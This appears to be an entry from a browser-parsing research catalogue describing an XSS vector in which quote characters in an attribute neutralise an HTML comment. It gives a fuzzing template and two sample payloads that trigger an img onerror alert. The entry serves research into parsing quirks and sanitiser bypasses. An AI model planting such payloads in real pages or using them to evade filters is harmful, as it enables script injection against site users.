Characters that act as attribute quotes

This vector shows which characters act like quotes by nullifying a HTML comment.

Created by: hackvertor

Created on: Tuesday, May 28, 2024 at 9:43:17 PM

Updated on: Tuesday, May 27, 2025 at 8:17:41 AM

Detecting browser...

Category: HTML Parsing

Vector visibility: Public

Vector type: XSS

Vector charset: UTF-8

Template used:

<div a=$[chr]><!-- $[chr]></div><img src=x:x onerror=log($[i]) -->

Sample payloads

<div a="><!-- "></div><img src=x:x onerror=alert(34) -->

<div a='><!-- '></div><img src=x:x onerror=alert(39) -->